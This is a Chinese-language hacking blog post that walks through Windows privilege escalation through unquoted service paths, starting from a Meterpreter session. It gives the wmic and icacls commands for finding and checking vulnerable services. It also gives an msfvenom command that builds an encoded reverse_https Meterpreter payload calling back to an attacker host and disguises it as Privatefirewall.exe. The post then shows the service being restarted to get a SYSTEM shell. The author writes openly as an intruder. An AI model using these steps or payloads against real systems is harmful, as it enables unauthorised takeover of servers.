Windows提权的正确操作方式,快速完成服务器提权

各位看官自行脑补一下以下画面,经过你的不懈努力终于拿到了Meterpreter了,在兴奋之余,你还打算更进一步直接利用getsystem命令进行提权,使用的都是教科书式的正常操作,但是吧唧一下失败了!!这也是屡见不鲜的经典失败案例!!怎么办呢?挠头抓耳不知所措吗?危险漫步来告诉各位,那是错误的姿势,正确的操作应该是什么呢?换个姿势再来几次,肯定有那么一次能找到G点的,慢慢来不要着急!!


接下来危险漫步会给大家讲一讲Windows上的提权方法,并且实操演示给各位看一看瞧一瞧!!


同时给大家补充一个知识点,大家都来记一下哈:把权限从本地管理员提升到系统后更容易执行一些操作,而不适当的系统配置则可以使低权限的用户将自己的权限提升到高权限。


这次我不想讲那些依赖内核漏洞的提权技术,太简单了,没什么兴趣!


接下来,提权之路正式开始各位拭目以待吧!!


Trusted Service Paths


Trusted Service Paths是一个漏洞,主要是因为二进制服务文件路径中Windows错误解释空格而产生的,这个在绝大多数的情况下都是以系统权限运行的,危险漫步曾经就利用这个漏洞直接将权限提升至到了系统权限。成年旧事就不多提了啊!文件路径一般都是这个样子:C:\Program Files\Some Folder\Service.exe


细心的小伙伴可能会发现,这些路径中是存在空格的,而就是这些空格会致使Windows努力的去寻找并且尝试执行空格以前单词为命名的程序,直到匹配成功为止。


打个比方就是Windows会尝试定位并且执行以下的程序:


C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe


在这种情况先,如果系统开发人员没有将整个文件路径全部包含在引号内的话,那么这个就会是一个非常致命的漏洞。对于这个漏洞前辈们已经给他起了一个很有意思的名词:不带引号的服务路径(Unquoted Service Paths.)


在发现了这个漏洞之后,如果我别有用心的话,我就会在这个文件夹里面加入一个恶意文件,那么在服务器重启之后的情况就是,以恶意程序为傀儡的系统权限就收归你的囊中了。(PS:放置恶意程序的时候要先确保拥有目标文件件的权限)


说起来很简单操作起来还是有一点费事的,接下来我们进入实操解说环节:


1.如何发现并且利用这个漏洞?


首先需要做的就是查找出所有的没有用引号的服务路径,这一点可以利用WMI命令查询


wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """




好尴尬,第一枪就打中了这么多!PFNet服务的路径没有使用引号包含同时路径中包含空格。(知识点)现在我们就可以直接利用文件夹权限进行操作了啊!直接使用内建工具icacls查看路径中受影响文件夹的权限:


icacls "C:\Program Files (x86)\Privacyware"





注意看了啊!第一行BUILTIN\Users:(OI)(CI)(M),已经列出了所有的用户权限了啊!!直接根据自己权限的大小进行下一步操作就可以了,现在我已经利用漏洞将恶意软件植入了哈!!


这是我生成并且植入的第一个可执行文件,所以我希望能够在本地管理员足增加一个账户,或者弹回一个系统权限的Meterpreter shell,这样可以方便我进一步观察!


命令:msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o Privatefirewall.exe




OK,到这一步的话就可以直接使用SC来执行植入的恶意软件了,当然也可以开启PFNet服务弹回shell。


sc stop PFNet

sc start PFNet





尴尬了~~测试之后发现,只有自己植入的那个文件夹的操作权限,却没有PFNet服务的权限,到了这一步只能面临两个选择了,1.重头再来过 2.提权目标被重启。


已经到了这一步了,我毫不犹豫的选择了第二项,在提权目标被重新启动之后,我之前植入的那个文件件果然发生了奇效,他弹回了一条具有系统权限的shell





posted on 2018-01-04 17:14  黑客博客  阅读(7230)  评论(0编辑  收藏  举报